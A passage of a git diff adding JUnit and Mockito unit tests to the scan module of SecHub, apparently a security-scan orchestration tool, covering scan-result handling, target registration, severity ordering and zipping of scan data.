serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + verify(reportService).createReport(any()); + } + + @Test + public void scanservice_set_result_traficlight_as_from_report() throws Exception { + + /* execute */ + DomainMessageSynchronousResult result = serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + assertEquals(TRAFFIC_LIGHT, result.get(MessageDataKeys.REPORT_TRAFFIC_LIGHT)); + } + + @Test + public void scanservice_does_NOT_execute_reportservice_when_webscan_throws_sechubexception() throws Exception { + + /* prepare */ + DomainMessage request = prepareValidRequest(); + doThrow(new SecHubExecutionException("ups...", new RuntimeException())).when(webScanProductExecutionService) + .executeProductsAndStoreResults(any()); + + /* execute */ + DomainMessageSynchronousResult result = serviceToTest.receiveSynchronMessage(request); + + /* test */ + assertTrue(result.hasFailed()); + + verify(webScanProductExecutionService).executeProductsAndStoreResults(any()); + verify(reportService, never()).createReport(any()); + + } + + @Test + public void event_handling_works_as_expected_and_SCAN_DONE_is_returned_as_resulting_message_id() { + /* prepare */ + DomainMessage request = new DomainMessage(MessageID.START_SCAN); + + /* execute */ + DomainMessageSynchronousResult result = simulateEventSend(request, serviceToTest); + + /* test */ + assertEquals(MessageID.SCAN_DONE, result.getMessageId()); + } + + private DomainMessage prepareValidRequest() { + + SecHubConfiguration configMin; + try { + configMin = SecHubConfiguration.OBJECT.fromJSON(SECHUB_CONFIG_VALID_MINIMUM); + } catch (JSONConverterException e) { + throw new IllegalStateException("testcase invalid!"); + } + + DomainMessage request = new DomainMessage(MessageID.START_SCAN); + request.set(MessageDataKeys.SECHUB_UUID, UUID); + request.set(MessageDataKeys.SECHUB_CONFIG, configMin); + + return request; + } + + private DomainMessageSynchronousResult simulateEventSend(DomainMessage request, SynchronMessageHandler handler) { + List injectedAsynchronousHandlers = new ArrayList<>(); + List injectedSynchronousHandlers = new ArrayList<>(); + injectedSynchronousHandlers.add(handler); + + FakeDomainMessageService fakeDomainMessageService = new FakeDomainMessageService(injectedSynchronousHandlers, injectedAsynchronousHandlers); + return fakeDomainMessageService.sendSynchron(request); + } + + private class FakeDomainMessageService extends DomainMessageService{ + + public FakeDomainMessageService(List injectedSynchronousHandlers, + List injectedAsynchronousHandlers) { + super(injectedSynchronousHandlers, injectedAsynchronousHandlers); + this.taskExecutor=new TestTaskExecutor(); + } + + } + private class TestTaskExecutor implements TaskExecutor{ + + @Override + public void execute(Runnable task) { + task.run(); + } + + } + + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SecHubResultServiceTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SecHubResultServiceTest.java new file mode 100644 index 0000000000..25dc078582 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SecHubResultServiceTest.java @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.domain.scan.product.ProductIdentifier; +import com.daimler.sechub.domain.scan.product.ProductResult; +import com.daimler.sechub.domain.scan.product.ProductResultRepository; +import com.daimler.sechub.domain.scan.report.ScanReportToSecHubResultTransformer; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +public class SecHubResultServiceTest { + + @Rule + public ExpectedException expected = ExpectedException.none(); + + private SecHubResultService serviceToTest; + private ScanReportToSecHubResultTransformer reportTransformer; + private ProductResultRepository productResultRepository; + private SecHubExecutionContext context; + + private UUID secHubJobUUID; + + @Before + public void before() throws Exception { + secHubJobUUID = UUID.randomUUID(); + context = mock(SecHubExecutionContext.class); + when(context.getSechubJobUUID()).thenReturn(secHubJobUUID); + + reportTransformer = mock(ScanReportToSecHubResultTransformer.class); + productResultRepository = mock(ProductResultRepository.class); + + serviceToTest = new SecHubResultService(); + serviceToTest.transformers = Collections.singletonList(reportTransformer); + serviceToTest.productResultRepository = productResultRepository; + } + + @Test + public void when_product_result_repository_returns_empty_list__sechub_execution_is_thrown_with_message() + throws Exception { + /* prepare */ + when(productResultRepository.findProductResults(eq(secHubJobUUID), any())).thenReturn(new ArrayList<>()); + + /* test */ + expected.expect(SecHubExecutionException.class); + expected.expectMessage("No report result found for:" + secHubJobUUID); + + /* execute */ + serviceToTest.createResult(context); + } + + @Test + public void when_product_result_repository_returns_only_netsparker_result__sechub_execution_is_thrown_with_message() + throws Exception { + /* prepare */ + ProductResult scanResult = new ProductResult(secHubJobUUID, ProductIdentifier.NETSPARKER, "scan-result"); + + when(productResultRepository.findProductResults(eq(secHubJobUUID), any())) + .thenReturn(Arrays.asList(scanResult)); + + /* test */ + expected.expect(SecHubExecutionException.class); + + /* execute */ + serviceToTest.createResult(context); + } + + @Test + public void when_product_result_repository_returns_only_sereco_report_result__sechubResultFromTransformer_is_returned() + throws Exception { + /* prepare */ + SecHubResult secHubResult = new SecHubResult(); + when(reportTransformer.transform("scan-result")).thenReturn(secHubResult); + when(reportTransformer.canTransform(ProductIdentifier.SERECO)).thenReturn(true); + ProductResult scanResult = new ProductResult(secHubJobUUID, ProductIdentifier.SERECO, "scan-result"); + + when(productResultRepository.findProductResults(eq(secHubJobUUID), any())) + .thenReturn(Arrays.asList(scanResult)); + + /* execute */ + SecHubResult result = serviceToTest.createResult(context); + + /* test */ + assertEquals(secHubResult, result); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SeveritiesTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SeveritiesTest.java new file mode 100644 index 0000000000..67be3904f9 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/SeveritiesTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class SeveritiesTest { + + @Test + public void check_all_severity_enum_parts_are_handled_one_time() { + /* sanity check */ + assertEquals(Severity.values().length, Severities.getAllOrderedFromHighToLow().length); + + for (Severity severity : Severity.values()) { + int found=0; + for (Severity inside: Severities.getAllOrderedFromHighToLow()) { + if (severity.equals(inside)) { + found++; + } + } + if (found!=1) { + fail("Severity :"+severity+" should be found one time, but was found:"+found+" times!"); + } + } + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetRegistryTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetRegistryTest.java new file mode 100644 index 0000000000..897cf41118 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetRegistryTest.java @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static com.daimler.sechub.domain.scan.TargetType.*; +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.List; +import java.util.Set; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; + +public class TargetRegistryTest { + + private TargetRegistry registryToTest; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() throws Exception { + registryToTest = new TargetRegistry(); + } + + @Test + public void nothing_registered_each_registry_info_contains_no_target() { + for (TargetType type: TargetType.values()) { + TargetRegistryInfo info = registryToTest.createRegistryInfo( type); + assertFalse(info.containsAtLeastOneTarget()); + } + } + + @Test + public void codeupload_registered_only_for_this_type_registry_info_contains_a_target() { + /* prepare */ + Target target1 = mock(Target.class); + + when(target1.getType()).thenReturn(TargetType.CODE_UPLOAD); + when(target1.getIdentifierWithoutPrefix()).thenReturn("test1234"); + + registryToTest.register(target1); + + /* iterate */ + for (TargetType type: TargetType.values()) { + /* execute*/ + TargetRegistryInfo info = registryToTest.createRegistryInfo( type); + + /* test */ + if (type==TargetType.CODE_UPLOAD) { + assertTrue(info.containsAtLeastOneTarget()); + }else { + assertFalse(info.containsAtLeastOneTarget()); + } + } + } + + @Test + public void codeupload_registered__registry_info_ontains_justfolderinfo() { + /* prepare */ + Target target1 = mock(Target.class); + + when(target1.getType()).thenReturn(TargetType.CODE_UPLOAD); + when(target1.getIdentifierWithoutPrefix()).thenReturn("test1234"); + + Target target2 = mock(Target.class); + + when(target2.getType()).thenReturn(TargetType.CODE_UPLOAD); + when(target2.getIdentifierWithoutPrefix()).thenReturn("test5436"); + + registryToTest.register(target1); + registryToTest.register(target2); + + /* execute*/ + TargetRegistryInfo info = registryToTest.createRegistryInfo( CODE_UPLOAD); + + /* test */ + Set folders = info.getCodeUploadFileSystemFolders(); + assertTrue(folders.contains("test1234")); + assertTrue(folders.contains("test5436")); + } + + + @Test + public void registering_a_target_of_type_internet_returns_an_unmodifiable_list_of_targets() { + + /* prepare */ + Target target1 = mock(Target.class); + when(target1.getType()).thenReturn(INTERNET); + + Target target2 = mock(Target.class); + when(target1.getType()).thenReturn(INTERNET); + + /* execute */ + registryToTest.register(target1); + + /* test */ + List targets = registryToTest.getTargetsFor(INTERNET); + expected.expect(UnsupportedOperationException.class);// the next line will result in UOE, because unmodifiable + targets.add(target2); + + } + + @Test + public void registering_a_target_of_type_internet_returns_none_for_intranet_and_target_for_internet() throws Exception { + + /* prepare */ + Target target = mock(Target.class); + when(target.getType()).thenReturn(INTERNET); + + /* execute */ + registryToTest.register(target); + + /* test */ + assertTrue(registryToTest.getTargetsFor(INTRANET).isEmpty()); + assertFalse(registryToTest.getTargetsFor(INTERNET).isEmpty()); + assertTrue(registryToTest.getTargetsFor(INTERNET).contains(target)); + + } + + @Test + public void registering_a_target_of_type_intranet_returns_none_for_internet_and_target_for_inranet() throws Exception { + + /* prepare */ + Target target = mock(Target.class); + when(target.getType()).thenReturn(INTRANET); + + /* execute */ + registryToTest.register(target); + + /* test */ + assertTrue(registryToTest.getTargetsFor(INTERNET).isEmpty()); + assertFalse(registryToTest.getTargetsFor(INTRANET).isEmpty()); + assertTrue(registryToTest.getTargetsFor(INTRANET).contains(target)); + + } + + @Test + public void nothing_registered_get_targets_for_any_type_returns_not_null_but_empty_list() { + for (TargetType type: TargetType.values()) { + List targetsFor = registryToTest.getTargetsFor(type); + assertNotNull("Type "+type+" results in null ",targetsFor); + assertTrue("Type "+type+" is not empty",targetsFor.isEmpty()); + } + } + + @Test + public void nothing_registered_get_targets_for_null_throws_illegal_argument_exception() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + registryToTest.getTargetsFor(null); + } + + @Test + public void registering_null_target_throws_illegal_argument_exception() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + registryToTest.register(null); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTest.java new file mode 100644 index 0000000000..d8ef28676d --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTest.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class TargetTest { + + @Test + public void new_target_with_identifier__id_without_prefix_adds_automatically_prefix() { + /* execute */ + Target target = new Target("id1", TargetType.CODE_UPLOAD); + + /* test */ + assertEquals("code_upload://id1", target.getIdentifier()); + assertEquals("id1", target.getIdentifierWithoutPrefix()); + } + + @Test + public void new_target_with_identifier__id_with_prefix_adds_no_additional_prefix() { + /* execute */ + Target target = new Target("id1", TargetType.CODE_UPLOAD); + + /* test */ + assertEquals("code_upload://id1", target.getIdentifier()); + assertEquals("id1", target.getIdentifierWithoutPrefix()); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTypeTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTypeTest.java new file mode 100644 index 0000000000..9628cb9795 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TargetTypeTest.java @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class TargetTypeTest { + + @Test + public void healthcheck() { + + assertEquals("Hmm.. seems there is a new target typeToTest which is not tested, please add + modify...", + 5, TargetType.values().length); + } + + @Test + public void INTRANET_test() { + TargetType typeToTest = TargetType.INTRANET; + + assertTrue(typeToTest.isIntranet()); + assertTrue(typeToTest.isValid()); + + assertFalse(typeToTest.isInternet()); + assertFalse(typeToTest.isCodeUpload()); + } + + @Test + public void CODEUPLOAD_test() { + TargetType typeToTest = TargetType.CODE_UPLOAD; + + assertTrue(typeToTest.isValid()); + assertTrue(typeToTest.isCodeUpload()); + + assertFalse(typeToTest.isInternet()); + assertFalse(typeToTest.isIntranet()); + } + + @Test + public void INTERNET_test() { + TargetType typeToTest = TargetType.INTERNET; + + assertTrue(typeToTest.isInternet()); + assertTrue(typeToTest.isValid()); + + assertFalse(typeToTest.isCodeUpload()); + assertFalse(typeToTest.isIntranet()); + + } + + @Test + public void UNKNOWN_test() { + TargetType typeToTest = TargetType.UNKNOWN; + + assertNothingReturnsTrue(typeToTest); + } + + @Test + public void ILLEGAL_test() { + TargetType typeToTest = TargetType.ILLEGAL; + + assertNothingReturnsTrue(typeToTest); + } + + private void assertNothingReturnsTrue(TargetType typeToTest) { + assertFalse(typeToTest.isInternet()); + assertFalse(typeToTest.isIntranet()); + assertFalse(typeToTest.isValid()); + assertFalse(typeToTest.isCodeUpload()); + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TestAbstractInstallSetup.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TestAbstractInstallSetup.java new file mode 100644 index 0000000000..c057510e2a --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/TestAbstractInstallSetup.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +public class TestAbstractInstallSetup extends AbstractInstallSetup { + + public boolean canScanDaimlerIntranet; + public boolean canScanInternet; + + @Override + protected void init(ScanInfo info) { + info.canScanDaimlerIntranet=canScanDaimlerIntranet; + info.canScanInternet=canScanInternet; + } + +} \ No newline at end of file diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupportTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupportTest.java new file mode 100644 index 0000000000..587e074253 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/admin/FullScanDataToZipOutputSupportTest.java @@ -0,0 +1,146 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.admin; + +import static org.junit.Assert.*; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.List; +import java.util.UUID; +import java.util.zip.ZipEntry; +import java.util.zip.ZipException; +import java.util.zip.ZipFile; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.log.ProjectScanLog; + +public class FullScanDataToZipOutputSupportTest { + + private FullScanDataToZipOutputSupport supportToTest; + private UUID sechubJobUUID; + + @Before + public void before() { + supportToTest = new FullScanDataToZipOutputSupport(); + sechubJobUUID = UUID.randomUUID(); + } + + @Test + public void writeScanDataContainsDataAsExpected() throws Exception { + /* prepare */ + FullScanData fullScanData = createFullScanDataTwoProductsOneLogEntry(); + + File file = File.createTempFile("log_fullscan", ".zip"); + + /* execute */ + try(FileOutputStream fos = new FileOutputStream(file)){ + supportToTest.writeScanData(fullScanData, fos ); + } + + /* test */ + + List list = readZipfile(file); + assertEquals(3,list.size()); + Data data1 = assertFile("product1.json",list); + Data data2 = assertFile("product2.xml",list); + Data data3 = assertFile("log_null.txt",list); // null because log is not persisted and has no UUID + + assertTrue(data1.content.contains("OK")); + assertTrue(data2.content.contains("NOT-OK")); + assertTrue(data3.content.contains("'heavy'")); + + } + + @Test + public void writeScanDataWhichContainsSameProductWillIncrementFilenames() throws Exception { + /* prepare */ + FullScanData fullScanData = createFullScanDataTwoProductsOneLogEntry(); + FullScanData fullScanData2 = createFullScanDataTwoProductsOneLogEntry(); + fullScanData.allScanData.addAll(fullScanData2.allScanData); + + File file = File.createTempFile("log_fullscan", ".zip"); + + /* execute */ + try(FileOutputStream fos = new FileOutputStream(file)){ + supportToTest.writeScanData(fullScanData, fos ); + } + + /* test */ + + List list = readZipfile(file); + assertEquals(5,list.size()); + assertFile("product1.json",list); + assertFile("product1[1].json",list); + assertFile("product2.xml",list); + assertFile("product2[1].xml",list); + assertFile("log_null.txt",list); // null because log is not persisted and has no UUID + + } + + private Data assertFile(String name, List list ) { + for (Data data: list) { + if (name.contentEquals(data.name)) { + return data; + } + } + fail("Did not founda file :"+name); + return null; + } + + private FullScanData createFullScanDataTwoProductsOneLogEntry() { + FullScanData fullScanData = new FullScanData(); + + ScanData data1 = new ScanData(); + data1.productId="product1"; + data1.result="{ 'result' : 'OK'}"; + + ScanData data2 = new ScanData(); + data2.productId="product2"; + data2.result="\nNOT-OK}"; + + fullScanData.allScanData.add(data1); + fullScanData.allScanData.add(data2); + + ProjectScanLog log1 = new ProjectScanLog("project1",sechubJobUUID,"executor1","{'config':'heavy'}"); + fullScanData.allScanLogs.add(log1); + return fullScanData; + } + + private List readZipfile(File file) throws ZipException, IOException { + List list = new ArrayList<>(); + try(ZipFile zipFile = new ZipFile(file)){ + Enumeration entries = zipFile.entries(); + while(entries.hasMoreElements()){ + ZipEntry entry = entries.nextElement(); + InputStream stream = zipFile.getInputStream(entry); + try(BufferedReader br = new BufferedReader(new InputStreamReader(stream))){ + String line = null; + StringBuilder sb = new StringBuilder(); + while ( (line=br.readLine())!=null) { + sb.append(line); + sb.append("\n"); + } + Data d = new Data(); + d.name = entry.getName(); + d.content=sb.toString(); + list.add(d); + } + } + }; + return list; + } + + private class Data{ + String name; + String content; + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutorTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutorTest.java new file mode 100644 index 0000000000..f14bd1c28f --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutorTest.java @@ -0,0 +1,226 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.InetAddress; +import java.net.URI; +import java.net.UnknownHostException; +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.InstallSetup; +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; +import com.daimler.sechub.domain.scan.resolve.TargetResolver; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +public class AbstractInstallSetupProductExecutorTest { + private static final InetAddress IP_ADRESS1; + static { + try { + IP_ADRESS1= InetAddress.getByName("192.168.1.1"); + } catch (UnknownHostException e) { + throw new IllegalStateException(e); + } + } + private static final URI URI_1 = URI.create("www.coolstuf1.com"); + private static final URI URI_2 = URI.create("www.coolstuf2.com"); + private static final URI URI_3 = URI.create("www.coolstuf3.com"); + private List urisForTarget; + private List inetAdressesForTarget; + + private TestInstallSetupProductExecutor executorToTest; + public InstallSetup installSetup; + private TargetResolver targetResolver; + private Target target1; + private Target target2; + private Target target3; + private Target target4; + private SecHubExecutionContext context; + + @Before + public void before() throws Exception { + urisForTarget=new ArrayList<>(); + inetAdressesForTarget = new ArrayList<>(); + + context = mock(SecHubExecutionContext.class); + + target1 = new Target(URI_1, TargetType.INTERNET); + target2 = new Target(URI_2, TargetType.INTRANET); + target3 = new Target(URI_3, TargetType.INTERNET); + target4 = new Target(IP_ADRESS1, TargetType.INTRANET); + + targetResolver = mock(TargetResolver.class); + when(targetResolver.resolveTarget(URI_1)).thenReturn(target1); + when(targetResolver.resolveTarget(URI_2)).thenReturn(target2); + when(targetResolver.resolveTarget(URI_3)).thenReturn(target3); + when(targetResolver.resolveTarget(IP_ADRESS1)).thenReturn(target4); + + when(context.getSechubJobUUID()).thenReturn(UUID.randomUUID()); + + installSetup = mock(InstallSetup.class); + + executorToTest = new TestInstallSetupProductExecutor(); + executorToTest.targetResolver=targetResolver; + } + + @Test + public void code_is_always_scannable() { + + } + + @Test + public void no_uris_no_ips_defined_even_when_install_setup_says_yes_to_all_no_adapters_called() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(true); + + assertTrue(urisForTarget.isEmpty()); + assertTrue(inetAdressesForTarget.isEmpty()); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(0,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertTrue(result.isEmpty()); + } + + @Test + public void uris_defined_inetadress_empty_when_install_setup_says_yes_the_product_executor_calls_the_adapter_parts_and_returns_data() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + urisForTarget.add(URI_1); + urisForTarget.add(URI_2); + urisForTarget.add(URI_3); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(1,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertFalse(result.isEmpty()); + assertEquals(1,result.size()); + } + + @Test + public void uris_empty_but_inetadress_filled_when_install_setup_says_no_the_product_executor_calls_the_adapter_parts_and_returns_data() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + assertTrue(urisForTarget.isEmpty()); + inetAdressesForTarget.add(IP_ADRESS1); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(0,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertTrue(result.isEmpty()); + } + + @Test + public void uris_empty_but_inetadress_filled_when_install_setup_says_yes_the_product_executor_calls_the_adapter_parts_and_returns_data() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(true); + assertTrue(urisForTarget.isEmpty()); + inetAdressesForTarget.add(IP_ADRESS1); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(1,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertFalse(result.isEmpty()); + assertEquals(1,result.size()); + } + + @Test + public void uris_defined_inetadress_empty_when_install_setup_says_yes_for_both_target_types_the_product_executor_calls_the_adapter_parts_and_returns_data() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(true); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(true); + + urisForTarget.add(URI_1); + urisForTarget.add(URI_2); + urisForTarget.add(URI_3); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(2,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertFalse(result.isEmpty()); + assertEquals(2,result.size()); + } + + @Test + public void uris_defined_inetadress_empty_when_install_setup_says_no_no_adapters_are_executed() throws Exception{ + /* prepare */ + when(installSetup.isAbleToScan(TargetType.INTERNET)).thenReturn(false); + when(installSetup.isAbleToScan(TargetType.INTRANET)).thenReturn(false); + + urisForTarget.add(URI_1); + urisForTarget.add(URI_2); + urisForTarget.add(URI_3); + + /* execute */ + List result = executorToTest.execute(context); + + /* test */ + assertEquals(0,executorToTest.adapterExecutionCallAmount); + assertNotNull(result); + assertTrue(result.isEmpty()); + } + + + private class TestInstallSetupProductExecutor extends AbstractInstallSetupProductExecutor{ + + + private int adapterExecutionCallAmount; + + @Override + public ProductIdentifier getIdentifier() { + return ProductIdentifier.FARRADAY; + } + + @Override + protected List resolveURIsForTarget(SecHubConfiguration config) { + return urisForTarget; + } + + @Override + protected List resolveInetAdressForTarget(SecHubConfiguration config) { + return inetAdressesForTarget; + } + + @Override + protected List executeWithAdapter(SecHubExecutionContext context, InstallSetup setup, + TargetRegistryInfo createInfo) throws Exception { + assertNotNull(createInfo); + adapterExecutionCallAmount++; + List data = new ArrayList<>(); + data.add(new ProductResult()); + return data; + } + + @Override + protected InstallSetup getInstallSetup() { + return AbstractInstallSetupProductExecutorTest.this.installSetup; + } + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionServiceTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionServiceTest.java new file mode 100644 index 0000000000..188c2926ad --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionServiceTest.java @@ -0,0 +1,161 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.mockito.ArgumentCaptor; +import org.slf4j.Logger; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +public class AbstractProductExecutionServiceTest { + + private static final ProductIdentifier USED_PRODUCT_IDENTIFIER = ProductIdentifier.FARRADAY; + private AbstractProductExecutionService serviceToTest; + private UUIDTraceLogID traceLogID; + private SecHubExecutionContext context; + private ProductExecutor executor; + private List executors; + private ProductResultRepository productResultRepository; + private Logger logger; + private UUID sechubJobUUID; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() throws Exception { + sechubJobUUID = UUID.randomUUID(); + logger=mock(Logger.class); + traceLogID=mock(UUIDTraceLogID.class); + + serviceToTest = new TestImplAbstractProductExecutionService(); + executors = new ArrayList<>(); + executor = mock(ProductExecutor.class); + when(executor.getIdentifier()).thenReturn(USED_PRODUCT_IDENTIFIER); + + executors.add(executor); + context = mock(SecHubExecutionContext.class); + when(context.getSechubJobUUID()).thenReturn(sechubJobUUID); + productResultRepository=mock(ProductResultRepository.class); + serviceToTest.productResultRepository=productResultRepository; + } + + @Test + public void executeAndPersistResults_a_null_result_throws_no_error_but_does_error_logging() throws Exception{ + /* prepare */ + when(executor.execute(context)).thenReturn(null); + + /* execute */ + serviceToTest.executeAndPersistResults(executors, context, traceLogID); + + /* test */ + verify(productResultRepository, never()).save(any()); + verify(logger).error(any(), eq(USED_PRODUCT_IDENTIFIER), eq(traceLogID)); + } + + @Test + public void executeAndPersistResults_a_non_null_result_saves_the_result_no_error_logging() throws Exception{ + ProductResult result = mock(ProductResult.class); + /* prepare */ + when(executor.execute(context)).thenReturn(Collections.singletonList(result)); + + /* execute */ + serviceToTest.executeAndPersistResults(executors, context, traceLogID); + + /* test */ + verify(productResultRepository).save(result); + verify(logger,never()).error(any(), eq(USED_PRODUCT_IDENTIFIER), eq(traceLogID)); + + } + + @Test + public void sechub_execution_error_on_execution_shall_not_break_the_build_but_safe_fallbackresult() throws Exception{ + ArgumentCaptor productResultCaptor = ArgumentCaptor.forClass(ProductResult.class); + /* prepare */ + SecHubExecutionException exception = new SecHubExecutionException("an-error occurred on execution, but this should not break at all!"); + when(executor.execute(context)).thenThrow(exception); + + /* execute */ + serviceToTest.executeAndPersistResults(executors, context, traceLogID); + + /* test */ + verify(productResultRepository).save(productResultCaptor.capture()); + + ProductResult captured = productResultCaptor.getValue(); + assertEquals(USED_PRODUCT_IDENTIFIER, captured.getProductIdentifier()); + assertEquals("", captured.getResult()); + + ArgumentCaptor stringCaptor = ArgumentCaptor.forClass(String.class); + verify(logger).error(stringCaptor.capture(), eq(exception)); + assertTrue(stringCaptor.getValue().startsWith("Product executor failed:"+USED_PRODUCT_IDENTIFIER)); + + } + + @Test + public void runtime__error_on_execution_shall_not_break_the_build() throws Exception{ + ArgumentCaptor productResultCaptor = ArgumentCaptor.forClass(ProductResult.class); + /* prepare */ + RuntimeException exception = new RuntimeException("an-error occurred on execution, but this should not break at all!"); + when(executor.execute(context)).thenThrow(exception); + + /* execute */ + serviceToTest.executeAndPersistResults(executors, context, traceLogID); + + /* test */ + verify(productResultRepository).save(productResultCaptor.capture()); + + ProductResult captured = productResultCaptor.getValue(); + assertEquals(USED_PRODUCT_IDENTIFIER, captured.getProductIdentifier()); + assertEquals("", captured.getResult()); + + ArgumentCaptor stringCaptor = ArgumentCaptor.forClass(String.class); + verify(logger).error(stringCaptor.capture(), eq(exception)); + assertTrue(stringCaptor.getValue().startsWith("Product executor failed:"+USED_PRODUCT_IDENTIFIER)); + + } + + @Test + public void runtime_errors_in_persistence_shall_break_the_build() throws Exception{ + /* test */ + expected.expect(RuntimeException.class); + + ProductResult result = mock(ProductResult.class); + /* prepare */ + when(executor.execute(context)).thenReturn(Collections.singletonList(result)); + when(productResultRepository.save(result)).thenThrow(new RuntimeException("save-failed")); + + /* execute */ + serviceToTest.executeAndPersistResults(executors, context, traceLogID); + + } + + private class TestImplAbstractProductExecutionService extends AbstractProductExecutionService{ + + @Override + 